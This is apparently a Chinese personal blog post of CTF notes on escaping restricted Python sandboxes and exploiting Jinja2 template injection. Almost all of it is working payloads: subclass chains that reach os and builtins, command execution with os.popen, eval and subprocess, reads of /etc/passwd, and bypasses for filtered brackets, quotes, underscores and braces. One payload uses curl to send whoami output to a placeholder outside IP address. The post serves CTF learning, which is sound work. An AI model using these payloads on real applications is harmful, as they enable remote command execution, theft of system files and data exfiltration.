CTF中的python沙盒逃逸

写在前面

今天刷CTF题的时候遇见了python沙盒逃逸(模块注入)问题,就把一些相关东西整理下来,以作备忘。

初识python沙箱逃逸

所谓python沙箱逃逸,就是在受限python执行环境,突破限制。其通常会限制一些危险模块。而我们通常要突破限制,能够执行命令。

python中的一些属性和方法

__class__:获得当前对象的类
__bases__:列出其基类
__mro__ :列出解析方法的调用顺序,类似于bases
__subclasses__():返回子类列表
__dict__ : 列出当前属性/函数的字典
__init__  : 一般跟在类的后面,相当于实例化这个类
__globals__ : 以字典的形式返回函数所在的全局命名空间所定义的全局变量

内联函数

python中所有的类都继承的object类,而其中集成了很多基础函数,创建object的方法:

().__class__.__bases__[0]
''.__class__.__mro__[2]
{}.__class__.__bases__[0]
[].__class__.__bases__[0]
request.__class__.__mro__[8]

创建object对象后就可通过属性subclasses来查看object的所有子类

[].__class__.__base__.__subclasses__()

在这所有子类中file类可读取文件,我们可以通过index查找file类的位置(file类只在python2存在)

[].__class__.__base__.__subclasses__().index(file)

我们可用下列代码读取目标文件

[].__class__.__base__.__subclasses__()[40]('./flag.txt').read()

我们可用下列代码引用指定模块(eg:os模块)

[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os']

然后我们可以调用os模块的listdir

[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].listdir("./")

其相当于os.listdir("./")

同理我们可以调用其他模块

任意代码或者命令执行

_ import _()函数

__import__("os").system("ls")

timeit模块

timeit.timeit("__import__('os').system('ls')",number=1)

exec(),eval(),compile()函数

eval('__import__("os").system("ls")')
exec("a+1")
compile('a = 1 + 2', '<string>', 'exec')

platform模块

platform.popen('dir').read()

os模块

os.system('ls')
os.popen("ls").read()

subprocess模块

subprocess.Popen('ls', shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT).stdout.read()

importlib模块

importlib.import_module('os').system('ls')
#Python3可以,Python2没有该函数
importlib.__import__('os').system('ls')

文件操作

file()函数

file('test.txt').read()
#注意:该函数只存在于Python2,Python3不存在

open()函数

open('text.txt').read()

codecs模块

codecs.open('test.txt').read()

其他执行命令方法

object.__subclasses__()[59].__init__.func_globals.linecache.os.popen('id').read()
object.__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")
object.__subclasses__()[59].__init__.__globals__.__builtins__.eval("__import__('os').popen('id').read()")
object.__subclasses__()[59].__init__.__globals__.__builtins__.__import__('os').popen('id').read()
object.__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()

dict绕过

[].__class__.__base__.__subclasses__()[71].__dict__["__in"+"it__"].__getattribute__("__glo"+"bals__")['os'].system('ls /tmp')
{{getattr(getattr(().__class__.__bases__[0].__subclasses__()[59],"__in"+"it__"),"func_glo"+"bals")["linecache"].__dict__["o"+"s"].__dict__["sy"+"stem"]('ls /tmp')}}

bypass整理

过滤中括号

读文件

''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/etc/passwd').read()

执行命令

''.__class__.__mro__.__getitem__(2).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen('ls').read()

过滤引号

借助request对象读文件

{{ ().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(request.args.path).read() }}&path=/etc/passwd

执行命令

{% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr %}{{ ().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen(chr(105)%2bchr(100)).read() }}


{{ ().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen(request.args.cmd).read() }}&cmd=id

过滤双下划线

{{ ''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read() }}&class=__class__&mro=__mro__&subclasses=__subclasses__

过滤双花括号

{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://xx.xxx.xx.xx:8080/?i=`whoami`').read()=='p' %}1{% endif %}

写在最后

不刷刷题永远不知道自己有多菜

感谢狮虎们的总结

https://www.dazhuanlan.com/2019/09/26/5d8bdb4a5e2dc/

https://blog.csdn.net/zss192/article/details/104200493

https://blog.csdn.net/csdn_Pade/article/details/88566032

  • 版权声明: 本博客所有文章除特别声明外,均采用 Apache License 2.0 许可协议。转载请注明出处!
  • © 2020 丰年de博客

请我喝杯咖啡吧~

支付宝
微信